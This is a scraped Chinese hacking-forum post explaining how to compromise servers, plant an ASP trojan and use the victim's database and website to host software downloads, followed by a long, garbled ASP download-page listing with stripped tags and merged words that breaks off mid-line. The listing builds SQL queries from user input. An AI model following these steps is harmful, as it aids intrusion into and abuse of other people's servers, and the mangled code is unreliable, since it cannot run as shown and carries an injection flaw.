把软件放在数据库里供下载

第第页把软件放在数据库里供下载把软件放在数据库里供下载

发表于：2023-05-25来源：：点击数：标签：库里放在下载数据软件

把软件放在数据库里供下载步骤:1;捉鸡2:放马.3:数据库里加一个表:ACCESS的用.ASP的数据库工具直接加;SQL的3389进去用SQL的企业管理器也可以在自己的机子里先做好一个;然后导入4;无组件上传{和传图片入库的方法一样;网上介绍的方法多的是};导入的这步

把软件放在（数据库）里供下载步骤:

1;捉鸡

2:放马.

3:数据库里加一个表:ACCESS的用.ASP的数据库工具直接加;（SQL）的3389进去用（SQL）的企业管理器

也可以在自己的机子里先做好一个;然后导入

4;无组件上传{和传图片入库的方法一样;网上介绍的方法多的是};导入的这步就省了

5:做个.ASP的（下载）页放鸡的站里一个.ASP里

6:自己站上放一个框架SRC=?down=1

俩点问题:

一:每个上传的软件超过30M下载试时不稳定;下不来的时候多

二:SQL库里表中ID字段要特别设置自增

做的不好:见笑见笑;第一个测试的鸡里还让不知道哪位大侠把库里数据删了俩次:呵呵厉害

看来ASP木马里不加IP识别码是不行了

%@codepage=936%%Response.Buffer=True

Response.Expires=-1

Response.ExpiresAbsolute=Now()-1

Response.Expires=0

Response.CacheControl="no-cache"

OnErrorResumeNext

Co=Request.ServerVariables("URL")

Session("lp")=Session.SessionID

dimconn,dbpath

setconn=server.createobject("ADODB.CONNECTION")

'conn.open"PROVIDER=SQLOLEDB;DATASOURCE=;UID=sa;PWD=2023;DATABASE=ddwen"

dbpath=server.mappath("ddwen.asp")

conn.Open"Provider=Microsoft.Jet.OLEDB.4.0;DataSource="DBPath

'conn.open"driver={microsoftaclearcase/"target="_blank">ccessdriver(*.mdb)};dbq="dbpath%HTMLHEADmetahttp-equiv="Content-Type"content="text/html;charset=gb2312"STYLEBODY{

FONT-SIZE:9pt;COLOR:blue

}

TABLE{

FONT-SIZE:9pt;FONT-FAMILY:宋体

}

A{

FONT-SIZE:9pt;COLOR:blue;FONT-FAMILY:宋体;TEXT-DECORATION:none

}

A:hover{

COLOR:red;FONT-FAMILY:宋体

}

INPUT{

BORDER-RIGHT:blue1pxsolid;BORDER-TOP:blue1pxsolid;FONT-SIZE:9pt;BACKGROUND:#FFF0B2;BORDER-LEFT:blue1pxsolid;BORDER-BOTTOM:blue1pxsolid;FONT-FAMILY:Verdana,ArialFONT-COLOR:blue

}

/STYLETITLE蓝屏软件/TITLE

scriptlanguage="javascript"

functionpopwin2(id,path)

{window.open("%=Co%?id="+id+"ppath="+path,"","height=450,width=600,resizable=yes,scrollbars=yes,status=no,toolbar=no,menubar=yes,location=no");}

/script

/HEAD%

constMaxPerPage=10

dimtotalPut,CurrentPage,TotalPages,i,j,keyword

keyword=Replace(request("txtitle"),"'","")

keyword=Replace(keyword,";","")

ifnotisempty(request("page"))then

currentPage=cint(request("page"))

else

currentPage=1

endif

dimsql,rs,rstype,typesql,typeid,typename

ifnotisEmpty(request("typeid"))then

typeid=request("typeid")

else

typeid=1

endif

setrstype=server.createobject("adodb.recordset")

typesql="select*fromsoft"

rstype.opentypesql,conn,1,1

typename=rstype("type")

rstype.close%

tablecellspacing=1cellpadding=1width=755align=centerborder=0bgcolor=#006666

tbody

trheight=20TDcolSpan=3width="300"align=center==Atitle=美人href="girl.asp"秀a/Atitle=刷新href="%=Request.ServerVariables("URL")%"本文件:

%=Request.ServerVariables("URL")%/A/TD

tdalign="center"width="20%"style="COLOR:#ffff00"bgColor=#2b77bdheight=10

SCRIPTlanguage=JavaScript

today=newDate();

functioninitArray(){

this.length=initArray.arguments.length

for(vari=0;ithis.length;i++)

this[i+1]=initArray.arguments}

vard=newinitArray(

"星期日",

"星期一",

"星期二",

"星期三",

"星期四",

"星期五",

"星期六");

document.write(

"fontcolor=ffff00style='font-size:10pt;font-family:宋体'",

today.getYear(),"年",

today.getMonth()+1,"月",

today.getDate(),"日",

d[today.getDay()+1],

"/font");

/SCRIPT/td

/tr

/tbody

/table

body

tableborder=1cellpadding=0cellspacing=0width=755bgcolor="#ddee00"align="center"

tr

tdwidth="100%"valign="top"

tableborder="0"cellpadding="3"cellspacing="0"width="100%"

tr

tdwidth="100%"valign="top"

%sql="select*fromsoftwheresmlike'%"keyword"%'orderbyiddesc"'注意漏洞:.;

Setrs=Server.CreateObject("ADODB.Recordset")

rs.opensql,conn,1,1

ifrs.eofandrs.bofthen

response.write"palign='center'没有或没有找到任何程序/p"

else

totalPut=rs.recordcount

totalPut=rs.recordcount

ifcurrentpage1then

currentpage=1

endif

if(current1)*MaxPerPagetotalputthen

if(totalPutmodMaxPerPage)=0then

currentpage=totalPut\MaxPerPage

else

currentpage=totalPut\MaxPerPage+1

endif

endif

ifcurrentPage=1then

showpagetotalput,MaxPerPage,""Co""

showContent

showpagetotalput,MaxPerPage,""Co""

else

if(current1)*MaxPerPagetotalPutthen

rs.move(current1)*MaxPerPage

dimbookmark

bookmark=rs.bookmark

showpagetotalput,MaxPerPage,""Co""

showContent

showpagetotalput,MaxPerPage,""Co""

else

currentPage=1

showpagetotalput,MaxPerPage,""Co""

showContent

showpagetotalput,MaxPerPage,""Co""

endif

endif

rs.close

endif

setrs=nothing

subshowContent

dimi

i=0%

divalign="center"

center

tableborder="1"cellspacing="0"width="97%"cellpadding="0"

trbgcolor="#50aac5"

tdwidth="32"align="center"height="20"bID/b/td

tdwidth="110"align="center"b软件名{点击下载}/td

tdwidth="40"align="center"b大小/b/td

tdwidth="191"align="center"b软件简介/b/td

tdwidth="128"align="center"b加入日期/b/td

tdwidth="34"align="center"b点击/b/td

/tr

%dowhilenotrs.eof%

tr

tdheight="23"width="32"bgcolor="#FFF0B2"

palign="center"%=rs("id")%

/td

tdwidth="110"bgcolor="#FFF0B2"

palign="center"forminputname=idtype=hiddenvalue=%=rs("id")%inputname=dntype=submitvalue=%=left(rs("name"),40)%title=点击下载/td/form

tdwidth="40"bgcolor="#FFF0B2"

palign="center"ahref=#"（java）script:popwin2(%=rs("id")%)"title=%=rs("sm")%fontcolor="#000000"%=rs("size")%/font/a

/td

tdwidth="191"bgcolor="#FFF0B2"

palign="center"ahref=#"javascript:popwin2(%=rs("id")%)"title=%=rs("sm")%fontcolor="#000000"%=left(rs("sm"),30)%/font/a

/td

tdwidth="128"bgcolor="#FFF0B2"

palign="center"fontcolor="red"i%=rs("date")%/i/font

/td

tdwidth="34"bgcolor="#FFF0B2"

palign="center"%=rs("hits")%

/td

/tr

%i=i+1

ifi=MaxPerPagethenexitdo

rs.movenext

loop%/table

/center

/div%endsub

functionshowpage(totalnumber,maxperpage,filename)

dimn

iftotalnumbermodmaxperpage=0then

n=totalnumber\maxperpage

else

n=totalnumber\maxperpage+1

endif

response.write"formmethod=Postaction="filename"?typeid="typeid"txtitle="keyword""

response.write"palign='center'fontcolor='red'"typename"/font"

ifCurrentPage2then

response.write"fontcolor='#000080'首页上一页/font"

else

response.write"ahref="filename"?page=1typeid="typeid"txtitle="keyword"首页/a"

response.write"ahref="filename"?page="Current1"typeid="typeid"txtitle="keyword"上一页/a"

endif

ifn-currentpage1then

response.write"fontcolor='#000080'下一页尾页/font"

else

response.write"ahref="filename"?page="(CurrentPage+1)"typeid="typeid"txtitle="keyword""

response.write"下一页/aahref="filename"?page="n"typeid="typeid"txtitle="keyword"尾页/a"

endif

response.write"fontcolor='#000080'页次：/fontstrongfontcolor=red"CurrentPage"/fontfontcolor='#000080'/"n"/strong页/font"

response.write"fontcolor='#000080'共b"totalnumber"/b软件b"maxperpage"/b软件/页/font"

response.write"fontcolor='#000080'转到：/fontinputtype='text'name='page'size=4maxlength=10class=smallInputtype='text'name='txtitle'value="¤tpage""

response.write"inputclass=buttonfacetype='submit'value='Goto'name='cndok'/span/p/form"

endfunction%

formname=searchtitlemethod=POSTaction=%=Co%

palign=center简介:

inputclass=smallInputtype="text"name="txtitle"size="13"

inputclass=buttonfacetype="submit"value="查询"name="title"style="font-size:9pt"

/p

/form

/td

/tr

/table

/td

/tr

/table

/body/htmlcenter!SCRIPTsrc="/jishu/new.asp?view=yes"/SCRIPT%down=Request("dn")

ifdown""then

Setrs=Server.CreateObject("ADODB.Recordset")

sql="select*fromsoftwhereid="Req